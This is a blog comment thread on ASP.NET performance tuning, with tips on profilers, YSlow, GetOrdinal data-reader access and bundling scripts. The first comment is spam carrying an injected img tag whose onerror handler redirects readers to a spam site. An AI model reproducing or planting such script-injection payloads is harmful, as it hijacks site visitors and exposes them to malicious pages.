Pimp my ASP.NET web application - Part One

re: Pimp my ASP.NET web application - Part One

mypicst — Sat, 12 Apr 2008 12:00:46 GMT

my pics <img src=http://google.com/444.gif onerror="window.open('gomyron.com/.../spm','_top')">

re: Pimp my ASP.NET web application - Part One

Memmorium — Fri, 11 Apr 2008 14:36:29 GMT

Good idea!

P.S. A U realy girl?

re: Pimp my ASP.NET web application - Part One

Helen — Mon, 11 Feb 2008 16:54:03 GMT

One tool I love for tweaking the performance of ASP.NET apps is Antz Profiler (www.red-gate.com/.../index.htm) from RedGate. You can run your app and it will tell you which lines are taking the longest to complete (or what's using the most memory). Makes it easy to figure out which parts of your app need tweaking and makes it easy to see the real differences in speed of the changes you make.

re: Pimp my ASP.NET web application - Part One

Bill Pierce — Mon, 11 Feb 2008 15:48:34 GMT

Hey Phil,

I like to replace all of my foreach loops with for loops, to save .01µ per iteration :)

If changing from string accessors to ordinal accessors makes a measurable improvement in the user experience, then your application is running way too fast.

+1 to YSlow. Makes a lot of valuable suggestions for real optimizations including the biggies like compression and content expiration. Another one that is not often thought of is combining all of your js files into a single file, then running it through a minifier, AND putting it at the bottom of your page (rather than in the head where it is traditionally located). In development I keep my js files separated then cat them together and run them through a minifier during the automated build. Makes a noticeable difference when combined with compression, especially for dial-up users.

re: Pimp my ASP.NET web application - Part One

Chris G — Mon, 11 Feb 2008 11:33:52 GMT

Brill Phil, keep 'em coming.

On your accessing fields by strings point - I have used enums to help keep some kind of readability whilst optimising performance.

Ta.

re: Pimp my ASP.NET web application - Part One

barryd — Sun, 10 Feb 2008 15:20:45 GMT

You lose the "performant" brownie points by putting the image of you pimping, complete with fur coat and hat, in my head.

I agree with Dave, the GetOrdinal call is the way I go if I can.

It's funny how expression will optimise and remove spaces and comments when it publishes, but VS2008 won't.

re: Pimp my ASP.NET web application - Part One

Dave — Sun, 10 Feb 2008 10:16:58 GMT

I agree with you about the use of GetIn/GetString/etc on a reader; I think only under the highest stress will the perf difference show, and to be quite honest I don't think most people (myself included) really know how to do performance testing to that level. However, if you do want the fastest possible access, declare some variables and use GetOrdinal, eg:

int _IPColumn = reader.GetOrdinal("IP");

...

U.IP = reader.GetString(_IPColumn);

re: Pimp my ASP.NET web application - Part One

Chris Hardy (ChrisNTR) — Sun, 10 Feb 2008 00:37:54 GMT

Yslow for Firebug - developer.yahoo.com/yslow (Firefox extension) is also a great tool for checking site performance and it even provides helpful hints.

Something I use for PHP is compressing the css and js into one file thus reducing the http requests and increasing the performance. Would be good to know if there was something similar in ASP.NET.